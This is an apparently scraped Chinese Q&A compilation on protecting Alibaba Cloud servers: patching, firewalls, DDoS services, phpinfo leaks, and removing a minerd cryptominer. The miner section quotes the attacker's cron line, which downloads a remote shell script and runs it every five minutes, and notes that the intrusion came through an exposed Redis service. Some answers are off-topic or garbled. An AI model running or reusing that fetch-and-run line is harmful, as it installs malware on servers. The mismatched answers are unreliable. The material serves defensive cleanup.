‘壹’ 我的阿里云服务器怎么能保证安全不被人攻击啊
防止阿里云服务器不被攻击：
首先系统内部安全要做好，系统漏洞补丁要打好，防火墙的策略、开放那些端口访问，允许那些IP访问，这些基本的设置要做好。
使用一些专业的安全漏洞扫描工具，阿里云自己有一个安全分析工具叫态势感知，利用工具可以分析发现潜在的入侵和高隐蔽性攻击威胁。
使用一些管理工具管理阿里云主机，可以很方便的管理阿里云主机，可以设置管理成员的权限，防止管理混乱，减少对外端口开放，还附带安全漏洞检查。
遭遇到DDoS攻击，需要购买第三方防DDoS攻击的服务，阿里云市场里面有云盾DDoS、东软、服务器安全加固及优化等一些防攻击的产品。
‘贰’ 阿里云ECS服务器对外攻击，怎么解决
服务器被黑了，保存数据，重做系统。服务器
‘叁’ 阿里云服务器提示超出当前范围怎么解决
阿里云服务器提示超出当前范围怎么解决
先检查SP在查询分析器中执行有没有问题。
不要动态创建释放数据库访问控件。应该预先创建好，然后重复调用即可。 分辨率和频幕刷新率的问题。开机的时候就按F8，进入安全模式，把分辨率和刷新频率都修改成默认的。
‘肆’ 阿里云服务器系统配置泄露怎么办phpinfo.php
知道你安装路径及PHP版本模块的版本 特别是有漏洞的版本服务器很容易被入侵
如果phpinfo能暴露，就说明目录保护做的不好，容易被上传木马，会有一定危害 毕竟把你系统一些信息暴露了 让人有机可乘
‘伍’ 服务器报漏洞怎么解决
系统漏洞会影响到的范围很大，包括系统本身及其支撑软件，网络客户和服务器软件，网络路由器和安全防火墙等。
腾讯电脑管家可以修复Windows操作系统漏洞，还可以智能筛选区分出高危漏洞补丁及功能性补丁，操作方法：腾讯电脑管家-工具箱-选择“修复漏洞”。
‘陆’ 阿里云的服务器给攻击了，这种问题怎么解决
服务器受攻击的方式主要有以下几种：
1．数据包洪水攻击
一种中断服务器或本地网络的方法是数据包洪水攻击，它通常使用Internet控制报文协议（ICMP）包或是UDP包。
2．磁盘攻击
这是一种更残忍的攻击，它不仅仅影响目标计算机的通信，还破坏其硬件。伪造的用户请求利用写命令攻击目标计算机的硬盘，让其超过极限，并强制关闭。
3．路由不可达
通常，DoS攻击集中在路由器上，攻击者首先获得控制权并操纵目标机器。当攻击者能够更改路由器的路由表条目的时候，会导致整个网络不可达。这种攻击是非常阴险的，因为它开始出现的时候往往令人莫名其妙。
‘柒’ 阿里云服务器，提示web漏洞，跨站攻击，请问如何处理
修复相关程序漏洞，或者安装网络加速乐、安全狗之类服务器防御软件。同时可以用多备份时刻最好数据备份，以免被攻击造成数据丢失，网站有漏洞还会发邮件提醒，反正有备无患吧
‘捌’ 阿里云服务器漏洞修复怎么修复
这种提示我见过很多，基本上每个客户都有这个提示，可以不用理会，你看看提示内容就知道了，都是系统的，你网站有后门被篡改跟这个关系不大，除非高危的，一般给别人处理安全问题都是程序问题比较多，你网站有安全问题可以找额给你解决，后面就不会被篡改了
‘玖’ 阿里云服务器被挖矿了怎么办(纯纯电脑小白
1. 关闭访问挖矿服务器的访问
iptables -A INPUT -s xmr.crypto-pool.fr -j DROP and iptables -A OUTPUT -d xmr.crypto-pool.fr -j DROP.
2. chmod -x minerd ,取消掉执行权限， 在没有找到根源前，千万不要删除 minerd，因为删除了，过一回会自动有生成一个。
3. pkill minerd ,杀掉进程
4. service stop crond 或者 crontab -r 删除所有的执行计划
5. 执行top，查看了一会，没有再发现minerd 进程了。
6.检查/var/spool/cron/目录下发现有个root用户的定时器文件。
下载脚本的语句：
*/5 * * * * curl -fsSL http://www.haveabitchin.com/pm.sh?0105010 | sh
病毒文件内容如下，感兴趣的可以研究下：
View Code
解决minerd并不是最终的目的，主要是要查找问题根源，我的服务器问题出在了redis服务了，黑客利用了redis的一个漏洞获得了服务器的访问权限，http://blog.jobbole.com/94518/然后就注入了病毒，下面是解决办法和清除工作：
1. 修复 redis 的后门,
配置bind选项, 限定可以连接Redis服务器的IP, 并修改redis的默认端口6379.
配置AUTH, 设置密码, 密码会以明文方式保存在redis配置文件中.
配置rename-command CONFIG “RENAME_CONFIG”, 这样即使存在未授权访问, 也能够给攻击者使用config指令加大难度
好消息是Redis作者表示将会开发”real user”，区分普通用户和admin权限，普通用户将会被禁止运行某些命令，如conf
2. 打开 ~/.ssh/authorized_keys, 删除你不认识的账号
3. 查看你的用户列表，是不是有你不认识的用户添加进来。 如果有就删除掉.